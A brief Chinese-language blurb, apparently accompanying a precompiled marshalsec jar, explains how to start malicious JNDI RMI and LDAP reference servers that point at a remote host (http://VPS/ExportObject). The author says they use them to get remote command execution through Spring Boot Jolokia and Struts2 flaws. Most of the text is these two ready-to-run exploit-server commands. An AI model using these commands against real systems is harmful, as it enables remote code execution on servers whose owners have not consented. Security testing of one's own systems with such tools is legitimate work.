Moritz Bechler編寫，源碼地址為：https://github.com/mbechler/marshalsec，下載下來之后使用maven編譯，此工具為編譯好的jar包，方便沒有編譯環境的同學們直接jar包開啟ldap和rmi服務 開啟rmi服務 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 開啟ldap服務 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 我使用這個來測試springboot jolokia的遠程命令執行，也可以測試struts2 S系列的漏洞